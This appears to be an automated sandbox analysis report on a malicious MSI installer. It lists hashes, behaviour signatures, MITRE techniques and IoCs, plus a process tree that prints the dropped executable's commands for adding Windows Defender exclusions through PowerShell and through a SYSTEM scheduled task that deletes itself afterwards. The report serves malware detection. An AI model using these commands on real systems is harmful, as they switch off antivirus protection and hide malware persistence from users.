12f91ecd497f83c9f33d5089fc8fed7dbf1335efb2ece7496fd4a720f21559ac

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_s0up005.msi
Size 7.7MB
Sample260802-cdbzdsbn4t
SHA256 12f91ecd497f83c9f33d5089fc8fed7dbf1335efb2ece7496fd4a720f21559ac
MD5 9f34b2de41276b654ff7c7995a0e602d
SHA1 320affb00a1e33dede1e89c02e07f4e41d6e6826
SHA512 eb8c0d76c38327ec54c27396b0b4030fc92e9b04069e3f1f983f6937e88ec01cf42d2de06d047f372a6e67f188b36e10133ac18a552167602eb3b63382ca8f1a
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKchey+lr4ywwoKIMzkPV0EG/xPnSin/g2:IA8oKhVeLwUSPVjqSwL
TLSH
T1938633827E8B2770C05BCBF16A56A17E715E3FC26F3A1C1639D97B4C6D3121600B72A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\2I4TQe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1768	powershell.exe
4104	powershell.exe

Possible privilege escalation attempt 13 IoCs

exploit

pid	Process
2480	icacls.exe
5916	icacls.exe
5932	icacls.exe
2300	icacls.exe
2956	icacls.exe
4472	icacls.exe
4876	takeown.exe
1440	icacls.exe
6072	icacls.exe
3428	icacls.exe
4632	icacls.exe
4332	icacls.exe
3484	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
680	jYQQyx.exe

Loads dropped DLL 2 IoCs

pid	Process
2512	MsiExec.exe
680	jYQQyx.exe

Modifies file permissions 1 TTPs 13 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2956	icacls.exe
6072	icacls.exe
3428	icacls.exe
1440	icacls.exe
3484	icacls.exe
4876	takeown.exe
2480	icacls.exe
4472	icacls.exe
5932	icacls.exe
4632	icacls.exe
4332	icacls.exe
5916	icacls.exe
2300	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\2I4TQe\\jYQQyx.exe\""	jYQQyx.exe

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	2512	MsiExec.exe
10	2512	MsiExec.exe
11	2512	MsiExec.exe
15	2512	MsiExec.exe
16	2512	MsiExec.exe
17	2512	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 7 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1744	cmd.exe
4792	cmd.exe
4648	cmd.exe
2728	cmd.exe
3528	cmd.exe
1648	cmd.exe
1256	cmd.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	jYQQyx.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\xdSTMt\d3XRBm.exe	jYQQyx.exe
File created	C:\Program Files (x86)\xdSTMt\image.png	jYQQyx.exe
File opened for modification	C:\Program Files (x86)\xdSTMt\d3XRBm.exe	jYQQyx.exe
File opened for modification	C:\Program Files (x86)\xdSTMt\XPSPLOG.dll	jYQQyx.exe
File opened for modification	C:\Program Files (x86)\xdSTMt\image.png	jYQQyx.exe
File opened for modification	C:\Program Files (x86)\xdSTMt\thumbs.db	jYQQyx.exe
File opened for modification	C:\Program Files (x86)\xdSTMt	jYQQyx.exe
File created	C:\Program Files (x86)\xdSTMt\XPSPLOG.dll	jYQQyx.exe
File created	C:\Program Files (x86)\xdSTMt\thumbs.db	jYQQyx.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDA87.tmp	msiexec.exe
File created	C:\Windows\Installer\e59d46f.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB1B37397B1D4C78C.TMP	msiexec.exe
File created	C:\Windows\Installer\e59d46d.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2EA6B858FBEBB2EC.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1AF4366AAE70D91F.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDB44.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA548EF3DBEFEF9F7.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59d46d.msi	msiexec.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5688	sc.exe
3648	sc.exe
788	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1468	msiexec.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4104	cmd.exe
2988	cmd.exe
2952	cmd.exe
4756	cmd.exe
1500	cmd.exe
6068	cmd.exe
5820	cmd.exe
5424	cmd.exe
1016	cmd.exe
2448	cmd.exe
1136	cmd.exe
4936	cmd.exe
1960	cmd.exe
5512	cmd.exe
3144	cmd.exe
5240	cmd.exe
5428	cmd.exe
4444	cmd.exe
2436	cmd.exe
2024	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000031a81fc62ba3bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380131a81fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410131a81fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e331a81fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e631a81fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up005.msi"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "054164483070034468643B3C4B93A426"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1388	schtasks.exe
4652	schtasks.exe
5924	schtasks.exe
4380	schtasks.exe
2420	schtasks.exe
5768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5848	msiexec.exe
5848	msiexec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
2512	MsiExec.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe
680	jYQQyx.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1468	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1468	msiexec.exe
Token: SeSecurityPrivilege	5848	msiexec.exe
Token: SeCreateTokenPrivilege	1468	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1468	msiexec.exe
Token: SeLockMemoryPrivilege	1468	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1468	msiexec.exe
Token: SeMachineAccountPrivilege	1468	msiexec.exe
Token: SeTcbPrivilege	1468	msiexec.exe
Token: SeSecurityPrivilege	1468	msiexec.exe
Token: SeTakeOwnershipPrivilege	1468	msiexec.exe
Token: SeLoadDriverPrivilege	1468	msiexec.exe
Token: SeSystemProfilePrivilege	1468	msiexec.exe
Token: SeSystemtimePrivilege	1468	msiexec.exe
Token: SeProfSingleProcessPrivilege	1468	msiexec.exe
Token: SeIncBasePriorityPrivilege	1468	msiexec.exe
Token: SeCreatePagefilePrivilege	1468	msiexec.exe
Token: SeCreatePermanentPrivilege	1468	msiexec.exe
Token: SeBackupPrivilege	1468	msiexec.exe
Token: SeRestorePrivilege	1468	msiexec.exe
Token: SeShutdownPrivilege	1468	msiexec.exe
Token: SeDebugPrivilege	1468	msiexec.exe
Token: SeAuditPrivilege	1468	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1468	msiexec.exe
Token: SeChangeNotifyPrivilege	1468	msiexec.exe
Token: SeRemoteShutdownPrivilege	1468	msiexec.exe
Token: SeUndockPrivilege	1468	msiexec.exe
Token: SeSyncAgentPrivilege	1468	msiexec.exe
Token: SeEnableDelegationPrivilege	1468	msiexec.exe
Token: SeManageVolumePrivilege	1468	msiexec.exe
Token: SeImpersonatePrivilege	1468	msiexec.exe
Token: SeCreateGlobalPrivilege	1468	msiexec.exe
Token: SeBackupPrivilege	3080	vssvc.exe
Token: SeRestorePrivilege	3080	vssvc.exe
Token: SeAuditPrivilege	3080	vssvc.exe
Token: SeBackupPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeBackupPrivilege	4792	srtasks.exe
Token: SeRestorePrivilege	4792	srtasks.exe
Token: SeSecurityPrivilege	4792	srtasks.exe
Token: SeTakeOwnershipPrivilege	4792	srtasks.exe
Token: SeBackupPrivilege	4792	srtasks.exe
Token: SeRestorePrivilege	4792	srtasks.exe
Token: SeSecurityPrivilege	4792	srtasks.exe
Token: SeTakeOwnershipPrivilege	4792	srtasks.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe
Token: SeTakeOwnershipPrivilege	5848	msiexec.exe
Token: SeRestorePrivilege	5848	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1468	msiexec.exe
1468	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1468	msiexec.exe
5848	msiexec.exe
2512	MsiExec.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5848 wrote to memory of 4792	5848	msiexec.exe	94
PID 5848 wrote to memory of 2512	5848	msiexec.exe	96
PID 680 wrote to memory of 4104	680	jYQQyx.exe	100
PID 680 wrote to memory of 3528	680	jYQQyx.exe	102
PID 680 wrote to memory of 1648	680	jYQQyx.exe	108
PID 1648 wrote to memory of 4652	1648	cmd.exe	110
PID 1648 wrote to memory of 5788	1648	cmd.exe	112
PID 1648 wrote to memory of 1436	1648	cmd.exe	115
PID 680 wrote to memory of 1256	680	jYQQyx.exe	116
PID 1256 wrote to memory of 5924	1256	cmd.exe	118
PID 1256 wrote to memory of 5756	1256	cmd.exe	119
PID 1256 wrote to memory of 1952	1256	cmd.exe	122
PID 680 wrote to memory of 1744	680	jYQQyx.exe	125
PID 1744 wrote to memory of 4380	1744	cmd.exe	127
PID 1744 wrote to memory of 3456	1744	cmd.exe	128
PID 1744 wrote to memory of 4208	1744	cmd.exe	130
PID 680 wrote to memory of 4792	680	jYQQyx.exe	132
PID 4792 wrote to memory of 2420	4792	cmd.exe	134
PID 4792 wrote to memory of 6052	4792	cmd.exe	135
PID 4792 wrote to memory of 3884	4792	cmd.exe	137
PID 4936 wrote to memory of 2944	4936	cmd.exe	140
PID 1016 wrote to memory of 4728	1016	cmd.exe	141
PID 2952 wrote to memory of 4620	2952	cmd.exe	142
PID 2448 wrote to memory of 3216	2448	cmd.exe	143
PID 1960 wrote to memory of 2584	1960	cmd.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up005.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1468

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5848
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding ABDA367BDE222E2B235665184E56695C E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2512

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3080

C:\Users\Public\2I4TQe\jYQQyx.exe
"C:\Users\Public\2I4TQe\jYQQyx.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2I4TQe\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3528
- - C:\Windows\system32\schtasks.exe
